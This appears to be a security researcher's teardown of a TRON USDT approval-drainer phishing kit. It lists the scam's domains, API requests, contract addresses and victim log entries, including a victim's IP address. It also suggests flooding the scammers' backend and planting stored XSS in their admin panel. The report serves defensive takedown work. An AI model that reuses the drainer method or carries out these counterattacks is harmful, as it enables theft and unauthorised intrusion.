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trx drainer
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| # 🔴 BUYTRX Approval Drainer Kit — Full Infrastructure Teardown | |
| > **Threat Type:** TRC-20 USDT Unlimited Approval Scam (Wallet Drainer) | |
| > **Date:** 2026-02-09 | |
| > **Investigated by:** [PhishDestroy](https://github.com/phishdestroy) | |
| > **Entry point:** `https://shrill-haze-5ff7.buytrx.workers.dev` | |
| --- | |
| ## Executive Summary | |
| A network of phishing sites masquerading as a "USDT → TRX swap service" tricks victims into signing an `approve(MAX_UINT256)` transaction on the TRC-20 USDT contract, granting the attacker's smart contract **unlimited access to the victim's entire USDT balance**. The attacker can then call `transferFrom()` at any time to drain funds. | |
| The infrastructure spans **4+ frontend domains**, a shared **Express.js backend**, and a **hidden admin panel** — all operating without authentication. The victim database, including wallet addresses, IPs, and transaction hashes, is fully exposed via unauthenticated API endpoints. | |
| --- | |
| ## 1. Infrastructure Map | |
| ### 1.1 Frontends | |
| | Domain | Hosting | Notes | | |
| |---|---|---| | |
| | `shrill-haze-5ff7.buytrx.workers.dev` | Cloudflare Workers | Primary site under investigation | | |
| | `exchange.swap-trx.workers.dev` | Cloudflare Workers | Secondary frontend | | |
| | `trxev.com` | Cloudflare Pages | Custom domain deployment | | |
| | `trxmo.com` | Cloudflare Pages | Custom domain deployment | | |
| All four serve identical Next.js static exports with the same codebase, localized into **20 languages** (en, zh, ru, ja, ko, es, tr, fr, de, pt, ar, hi, th, vi, id, uk, pl, it, nl, cs, ms). | |
| ### 1.2 Backend APIs | |
| | Service | URL | Purpose | | |
| |---|---|---| | |
| | Scam API | `https://api.trxmo.com` | TX generation, broadcast, victim logging | | |
| | Admin/Stats API | `https://api.trxpt.org` | Victim log mirror, visit statistics | | |
| | Fallback API | `https://api.trxev.com` | Redundant victim log endpoint | | |
| All backends run **Express.js** behind Cloudflare (`x-powered-by: Express` header leaked). | |
| ### 1.3 Supporting Infrastructure | |
| | Component | Value | | |
| |---|---| | |
| | WalletConnect Project ID | `31eee2e7b3ff1dc4ebdfa6f839467664` | | |
| | Hidden admin panel | `/8fb198a6e9b7af32` (identical path on all domains, no authentication) | | |
| | Telegram contact | [@buytrx9](https://t.me/buytrx9) (display name: "Buytron") | | |
| | CSS build marker | `34190323-6281-4d85-b5cd-2d1b71be55bf` (hidden in `body::after`) | | |
| | Tech stack | Next.js SSG + WalletConnect v2 + TronWeb | | |
| --- | |
| ## 2. Attack Flow | |
| ### Phase 1 — Wallet Connection | |
| The victim selects TronLink or Trust Wallet. Connection is established via: | |
| - **TronLink:** Direct injection — `window.tronLink.request({method: "tron_requestAccounts"})` | |
| - **Trust Wallet:** WalletConnect v2 with `tron_signTransaction` capability | |
| ### Phase 2 — Malicious Transaction Generation | |
| The frontend sends the victim's address to the backend: | |
| ```http | |
| POST https://api.trxmo.com/api/checkWallet | |
| Content-Type: application/json | |
| {"type": "tronlink", "address": "<victim_address>"} | |
| ``` | |
| The backend queries the TRON network for the victim's USDT balance. If non-zero, it returns an **unsigned transaction** — an `approve()` call on the USDT contract (`TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t`) granting **unlimited allowance** (`115792089237316195423570985008687907853269984665640564039457584007913129639935`) to the scam contract. | |
| **Response codes:** | |
| | Code | Meaning | | |
| |---|---| | |
| | `ok: true` | Unsigned TX returned — victim has USDT balance | | |
| | `1001` | Address already in database (duplicate attempt) | | |
| | `1002` | Multisig wallet detected (unsupported) | | |
| | `1003` | Insufficient USDT balance | | |
| | `1004` | Network error / invalid address | | |
| ### Phase 3 — Social Engineering the Signature | |
| The site displays a dedicated "TronLink Help" modal instructing victims to ignore wallet warnings: | |
| > *"The address TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t is the official USDT contract on TRON. The platform interacts with it to complete the swap. The 'May fail / Insufficient balance' message is just a generic notice — simply tap Confirm to continue."* | |
| > *"The wallet warning about 'TRX or energy usage' is normal. The platform covers all fees — no TRX will be deducted from your account. Tap Confirm to complete."* | |
| ### Phase 4 — Broadcast & Logging | |
| ```http | |
| POST https://api.trxmo.com/api/submitTx | |
| Content-Type: application/json | |
| {"address": "<victim>", "signedTx": <signed_tx_object>} | |
| ``` | |
| Upon successful broadcast, the backend records: wallet address, txid, IP address, wallet type, referral source, and timestamp. | |
| ### Phase 5 — Drain | |
| The attacker calls `transferFrom()` through the scam contract `TRnruCYe2k3kSMYCGwM51rzDD591w7UPJ8` to transfer all USDT from the victim's wallet. | |
| --- | |
| ## 3. On-Chain Evidence | |
| ### 3.1 Scam Contract | |
| | Field | Value | | |
| |---|---| | |
| | **Address** | `TRnruCYe2k3kSMYCGwM51rzDD591w7UPJ8` | | |
| | **Name** | SwapTRX | | |
| | **Created** | 2025-12-13 08:29:03 UTC | | |
| | **Creator** | `TBoZFHuKda8SkDux7nQH2DDMEJ2w2xkvor` | | |
| | **Function** | TRC-20 approval spender — receives unlimited USDT allowance from victims | | |
| ### 3.2 Creator Wallet | |
| | Field | Value | | |
| |---|---| | |
| | **Address** | `TBoZFHuKda8SkDux7nQH2DDMEJ2w2xkvor` | | |
| | **Created** | 2025-12-13 | | |
| | **Total transactions** | 157 | | |
| | **Current TRX balance** | 352.53 TRX | | |
| ### 3.3 Fund Flow — Connected Wallets | |
| | Address | Role | Observed Volume | | |
| |---|---|---| | |
| | `TFGDbUyP8xez44C76fin3bn3Ss6jugoUwJ` | Primary transit wallet | 888 USDT, 5 USDT, 3 USDT | | |
| | `TC6B75fi2G3KKRcBJDiUZrbZkwHFis4uGX` | Inbound funding source | 888 USDT | | |
| | `TKaccVBy6d7gVBYhMe3e9URDMYyzm2rme8` | Outbound cashout | 5 USDT | | |
| | `TQ9yjnYtWkD98jNWkX6GKbGnMoZ51SCWPV` | Outbound cashout | 2.999 USDT | | |
| ### 3.4 Confirmed Victim Transactions | |
| All confirmed on-chain transactions are `approve(MAX_UINT256)` calls on the USDT contract with spender `TRnruCYe2k3kSMYCGwM51rzDD591w7UPJ8`: | |
| | Time (UTC) | Victim Address | Wallet | TX Hash | Block | | |
| |---|---|---|---|---| | |
| | 2026-02-09 04:39 | `TWwNFHkj1Lj81hEe5DBcMK2X6MhQ9h7a8P` | TronLink | [`249f86b8...`](https://tronscan.org/#/transaction/249f86b80b6450e9578da6423fa671f1e8a591d4663173fc9e5bbd256bb95f7a) | 79972858 | | |
| | 2026-02-09 02:37 | `TNqpoUZ78fpeLZRRamvdmiK7cehx5tWhm6` | Trust | [`8e3bae63...`](https://tronscan.org/#/transaction/8e3bae631ecd80feaf34200f9aaa6610fe687b7badbc89595759ddc5f62b31c1) | 79970416 | | |
| | 2026-02-08 23:23 | `TKwHQPuikEqz2g1PKjQphSZZKNdCoEfSvK` | Trust | [`40b2ccc5...`](https://tronscan.org/#/transaction/40b2ccc57d616d4bb0c475762100516ab1b5394e008be169a6b6df80f63d3676) | 79966540 | | |
| | 2026-02-08 06:47 | `TBkdg7w2SXcNVBZtX3ECaZfrcyijpmVT1d` | Trust | [`90d7b19b...`](https://tronscan.org/#/transaction/90d7b19bf74dbb0f4913d23436ee4318a83ff3f20e371cc884d363f8d0251d25) | 79946621 | | |
| 30 total records in the victim database; 4 confirmed on-chain, 26 in pending status (likely unsigned or failed broadcasts). | |
| --- | |
| ## 4. Exposed APIs — No Authentication | |
| The entire backend data layer is accessible without any form of authentication. | |
| ### 4.1 Victim Transaction Log | |
| ``` | |
| GET https://api.trxmo.com/api/2fb198a6e9b7af38 | |
| GET https://api.trxpt.org/api/2fb198a6e9b7af38 | |
| GET https://api.trxev.com/api/2fb198a6e9b7af38 | |
| ``` | |
| Returns the last 30 victim records including wallet addresses, transaction hashes, IP addresses, wallet types, referral sources, and timestamps. | |
| **Sample response:** | |
| ```json | |
| { | |
| "ok": true, | |
| "count": 30, | |
| "data": [ | |
| { | |
| "source": "shrill-haze-5ff7.buytrx.workers.dev", | |
| "wallet_type": "tronlink", | |
| "wallet_address": "TWwNFHkj1Lj81hEe5DBcMK2X6MhQ9h7a8P", | |
| "txid": "249f86b80b6450e9578da6423fa671f1e8a591d4663173fc9e5bbd256bb95f7a", | |
| "status": "success", | |
| "ip": "173.79.169.22", | |
| "created_at": "2026-02-09 04:39:57" | |
| } | |
| ] | |
| } | |
| ``` | |
| ### 4.2 Site Visit Statistics | |
| ``` | |
| GET https://api.trxpt.org/api/a9c3f7e2d4b8ff21?site=trxev.com | |
| ``` | |
| ```json | |
| {"site": "trxev.com", "today_views": 9, "total_views": 91} | |
| ``` | |
| **Observed traffic at time of investigation:** | |
| | Site | Today | Weekly | | |
| |---|---|---| | |
| | trxev.com | 9 | 91 | | |
| | trxmo.com | 5 | 29 | | |
| | shrill-haze-5ff7.buytrx.workers.dev | 0 | 0 | | |
| | exchange.swap-trx.workers.dev | 0 | 0 | | |
| ### 4.3 Address Enumeration via checkWallet | |
| The `/api/checkWallet` endpoint leaks whether an address exists in the victim database through differentiated error codes: | |
| - **Response `1001`** → Address is in the database (previously approved) | |
| - **Response `1004`** → Address is not in the database | |
| This allows enumeration of all compromised addresses. | |
| --- | |
| ## 5. Hidden Admin Panel | |
| All frontend domains expose an unauthenticated admin dashboard at path `/8fb198a6e9b7af32`. | |
| **Features:** | |
| - Real-time victim feed with auto-refresh (10s / 60s intervals) | |
| - Wallet address, txid, status, IP, timestamp for each victim | |
| - Click-to-geolocate victim IPs via `ipwho.is` API (with `lang=zh-CN`) | |
| - Per-site visit statistics | |
| - Dark/light mode toggle | |
| **UI language is entirely Chinese:** | |
| - 日间 / 夜间 (Day / Night mode) | |
| - 今日访问 (Today's visits) | |
| - 周访问 (Weekly visits) | |
| - 钱包地址 (Wallet address) | |
| - 状态 (Status) | |
| - 点击查询地理位置 (Click to query geolocation) | |
| --- | |
| ## 6. Attribution Indicators | |
| | Signal | Value | | |
| |---|---| | |
| | Admin panel language | Chinese (Simplified) | | |
| | IP geolocation API | `ipwho.is` with `lang=zh-CN` | | |
| | Source code comments | `"⚠️ 清理 WalletConnect 存储失败"` (Failed to clean WalletConnect storage) | | |
| | | `"⚠️ 移动端 request 异常"` (Mobile request exception) | | |
| | | `"未获取到 TronLink 地址"` (Failed to get TronLink address) | | |
| | Telegram handle | @buytrx9 / "Buytron" | | |
| | Profile | Chinese-speaking developer, proficient in Next.js, Express.js, TRON ecosystem | | |
| --- | |
| ## 7. Vulnerabilities & Weaknesses | |
| ### 7.1 Unauthenticated Data Access | |
| All data endpoints (victim logs, statistics, admin panel) require no tokens, cookies, or credentials of any kind. | |
| ### 7.2 Weak Rate Limiting | |
| - `x-ratelimit-limit: 6` per window, per IP | |
| - Trivially bypassed with IP rotation | |
| - ~50% of rapid requests succeed even without proxy rotation | |
| - `api.trxmo.com` has softer limits than `api.trxpt.org` | |
| ### 7.3 Backend Resource Consumption | |
| Each `/api/checkWallet` call forces the backend to: | |
| 1. Query the TRON network for the victim's USDT balance | |
| 2. Generate an unsigned transaction | |
| 3. Write to the database | |
| High-volume requests with randomized addresses exhaust the backend's TronGrid/fullnode API quotas. | |
| ### 7.4 Cloudflare Workers Compute Limits | |
| Workers on the free plan have a **100,000 requests/day** cap with **10ms CPU per invocation**. The frontend Workers are vulnerable to quota exhaustion. | |
| ### 7.5 Hardcoded WalletConnect Project ID | |
| The WalletConnect Project ID `31eee2e7b3ff1dc4ebdfa6f839467664` is hardcoded in the frontend bundle. Reporting this ID to WalletConnect as malicious would disable Trust Wallet connectivity — eliminating approximately half of the attack surface. | |
| ### 7.6 Express.js Information Disclosure | |
| The `x-powered-by: Express` header is not disabled, confirming the backend framework. | |
| ### 7.7 Potential Stored XSS in Admin Panel | |
| The admin panel renders `wallet_address`, `source`, and `ip` fields directly from the database. If `submitTx` writes these fields without sanitization, injected payloads could execute in the attacker's admin session. | |
| --- | |
| ## 8. Recommended Actions | |
| ### Immediate Takedown | |
| | Target | Action | | |
| |---|---| | |
| | Cloudflare | Abuse report for all 4 frontend domains + 3 API backends | | |
| | Domain registrars | Abuse report for `trxmo.com`, `trxev.com`, `trxpt.org` | | |
| | WalletConnect | Report Project ID `31eee2e7b3ff1dc4ebdfa6f839467664` as malicious | | |
| | Telegram | Report @buytrx9 for fraud | | |
| | Tronscan | Flag contract `TRnruCYe2k3kSMYCGwM51rzDD591w7UPJ8` and wallet `TBoZFHuKda8SkDux7nQH2DDMEJ2w2xkvor` as scam | | |
| ### Victim Protection | |
| - Monitor the open victim API in real-time | |
| - Notify confirmed victims to **revoke USDT approval** for `TRnruCYe2k3kSMYCGwM51rzDD591w7UPJ8` | |
| - Submit compromised addresses to public blocklists | |
| --- | |
| ## 9. IOC Summary | |
| ### Domains | |
| ``` | |
| shrill-haze-5ff7.buytrx.workers.dev | |
| exchange.swap-trx.workers.dev | |
| trxev.com | |
| trxmo.com | |
| trxpt.org | |
| api.trxmo.com | |
| api.trxpt.org | |
| api.trxev.com | |
| ``` | |
| ### TRON Addresses | |
| ``` | |
| TRnruCYe2k3kSMYCGwM51rzDD591w7UPJ8 # Scam contract ("SwapTRX") | |
| TBoZFHuKda8SkDux7nQH2DDMEJ2w2xkvor # Contract creator | |
| TFGDbUyP8xez44C76fin3bn3Ss6jugoUwJ # Fund transit | |
| TC6B75fi2G3KKRcBJDiUZrbZkwHFis4uGX # Fund source | |
| TKaccVBy6d7gVBYhMe3e9URDMYyzm2rme8 # Fund exit | |
| TQ9yjnYtWkD98jNWkX6GKbGnMoZ51SCWPV # Fund exit | |
| ``` | |
| ### API Endpoints | |
| ``` | |
| POST /api/checkWallet # Malicious TX generation | |
| POST /api/submitTx # Signed TX broadcast + victim logging | |
| GET /api/2fb198a6e9b7af38 # Victim transaction log (no auth) | |
| GET /api/a9c3f7e2d4b8ff21 # Site visit statistics (no auth) | |
| ``` | |
| ### Other Indicators | |
| ``` | |
| WalletConnect Project ID: 31eee2e7b3ff1dc4ebdfa6f839467664 | |
| CSS Build UUID: 34190323-6281-4d85-b5cd-2d1b71be55bf | |
| Admin Panel Path: /8fb198a6e9b7af32 | |
| Telegram: @buytrx9 | |
| ``` |
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| host ip port protocol title domain country city link org | |
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